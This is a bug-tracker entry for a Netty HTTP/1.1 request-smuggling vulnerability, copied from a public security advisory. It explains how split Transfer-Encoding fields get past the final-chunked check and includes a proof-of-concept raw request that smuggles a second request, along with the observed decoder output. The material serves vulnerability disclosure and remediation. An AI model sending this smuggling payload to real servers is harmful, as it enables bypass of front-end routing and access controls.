Bug 2536964 (CVE-2026-93573) - CVE-2026-93573 io.netty/netty-codec-http: Netty split Transfer-Encoding fields bypass final-chunked validation and enable request smuggling
Summary: CVE-2026-93573 io.netty/netty-codec-http: Netty split Transfer-Encoding field...
Keywords:
Status: NEW
Alias: CVE-2026-93573
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Product Security
QA Contact:
URL:
Whiteboard:
Depends On:
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-09-18 10:30 UTC by OSIDB Bzimport
Modified: 2026-09-18 20:00 UTC (History)
66 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)

Description OSIDB Bzimport 2026-09-18 10:30:24 UTC
Netty split Transfer-Encoding fields bypass final-chunked validation and enable request smuggling

A public GitHub Security Advisory (GHSA-3jrc-fchc-59pw) describes the following issue:

## Summary

pov: `pov-test`

Netty's HTTP/1.1 decoder added RFC 9112 validation for malformed `Transfer-Encoding` order in the fix family for `GHSA-38f8-5428-x5cv` / `CVE-2026-42585`. That validation rejects the single-field case `Transfer-Encoding: chunked, identity`, but it can be bypassed when equivalent ordering is expressed as multiple header fields and the last field value is a short non-final transfer coding such as `gzip` or `deflate`.

For example:

```text
Transfer-Encoding: chunked
Transfer-Encoding: gzip
```

is equivalent to the combined field value:

```text
Transfer-Encoding: chunked, gzip
```

In that value, `chunked` is not the final transfer coding. A request recipient must reject this message under RFC 9112 framing rules. Netty instead treats the message as chunked, accepts the terminating zero-size chunk, and parses a following request as a second request on the same connection.

This creates an HTTP request-smuggling primitive when Netty is paired with an intermediary or peer that rejects, buffers, or differently interprets the same invalid transfer-coding order.

This should be triaged as a current supported-release bypass/incomplete fix in the malformed `Transfer-Encoding` family. It is not a claim that malformed split `Transfer-Encoding` risk was never discussed publicly: Netty issue `#9861` raised closely related behavior in 2019, and the May 2026 `GHSA-38f8-5428-x5cv` advisory fixed a single-field instance of the same ordering rule. The current issue is that latest supported releases still accept the split-field form after those fixes.

## Technical Details

`HttpUtil.isTransferEncodingChunked(...)` returns true if any `Transfer-Encoding` field contains the comma-separated token `chunked`:

```text
codec-http/src/main/java/io/netty/handler/codec/http/HttpUtil.java:362
codec-http/src/main/java/io/netty/handler/codec/http/HttpUtil.java:363
```

`HttpHeaders.containsValue(...)` checks comma-separated values across header fields:

```text
codec-http/src/main/java/io/netty/handler/codec/http/HttpHeaders.java:1600
codec-http/src/main/java/io/netty/handler/codec/http/HttpHeaders.java:1603
```

Once any `chunked` value is found, `HttpObjectDecoder` enters chunked decoding. It then validates only the final `Transfer-Encoding` field value:

```text
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java:853
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java:859
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java:861
```

The validation has a length guard:

```text
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java:863
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java:865
codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java:867
```

The comment says that if the final value is not longer than `chunked`, Netty knows it is only `chunked`. That assumption is false for final values like `gzip` and `deflate`. As a result:

- `Transfer-Encoding: chunked, identity` is rejected.
- `Transfer-Encoding: chunked` followed by `Transfer-Encoding: gzip` is accepted.
- `Transfer-Encoding: chunked` followed by `Transfer-Encoding: deflate` is accepted.

Git blame ties this validation block to the May 4, 2026 hardening commit:

```text
977661f71f7511ad68ca17cabd7b5185efb978f4
Motivation: RFC9112 specified that chunked must be the last encoding so we should verify this.
```

## PoC

Run the local PoV:

```fish
cd oss-zero-day-harness
bash submission-bundle/netty-pov-test-transfer-encoding-order-bypass/poc/reproduce.sh
```

The key request shape is:

```text
POST /one HTTP/1.1\r\n
Host: target\r\n
Transfer-Encoding: chunked\r\n
Transfer-Encoding: gzip\r\n
\r\n
0\r\n
\r\n
GET /two HTTP/1.1\r\n
Host: target\r\n
\r\n
```

Observed on current `4.2`:

```text
CASE split_fields_chunked_then_gzip_accepted
  request uri=/one result=success transferEncoding=[chunked, gzip]
  lastContent bytes=0 result=success
  request uri=/two result=success transferEncoding=[]
  lastContent bytes=0 result=success
```

The same run confirms the patched single-field case is rejected:

```text
CASE single_field_chunked_then_identity_rejected
  request uri=/one result=failure(java.lang.IllegalArgumentException:chunked must be the last encoding present in the Transfer-Encoding header) transferEncoding=[chunked, identity]
```

The supplementary `Content-Length` case is rejected on current `4.2`:

```text
CASE split_fields_chunked_then_gzip_with_content_length_rejected
  request uri=/one result=failure(io.netty.handler.codec.http.ContentLengthNotAllowedException:Content-Length are not allowed in HTTP/1.1 messages that contains a Transfer-Encoding header.) transferEncoding=[chunked, gzip]
```

## Impact

HTTP request smuggling can bypass front-end routing and access-control decisions, desynchronize request processing, or cause a following request to be processed in an unintended context. The exploitability of this primitive depends on a deployment with a parser differential, but Netty is the component that accepts the malformed framing and splits the stream into two requests.

The included PoV also checks a `Content-Length` variant. Current Netty rejects split `Transfer-Encoding` plus `Content-Length` with `ContentLengthNotAllowedException`. This report therefore does not claim the exact CL.TE exploitation shape from `GHSA-38f8-5428-x5cv`; it claims the TE-only split-field final-coding bypass that remains in current supported releases.

The PoV is local-only. It uses `EmbeddedChannel` and `HttpRequestDecoder`; it does not contact any live service.

## Suggested Fix

Parse `Transfer-Encoding` as one ordered list across all field lines before deciding whether to enter chunked decoding. The decoder should reject HTTP/1.1 requests when the final transfer-coding to

[truncated]

Affected:
- maven:io.netty:netty-codec-http affected >=4.2.12.Final; fixed unknown
- maven:io.netty:netty-codec-http affected >=4.1.132.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-3jrc-fchc-59pw


Note You need to log in before you can comment on or make changes to this bug.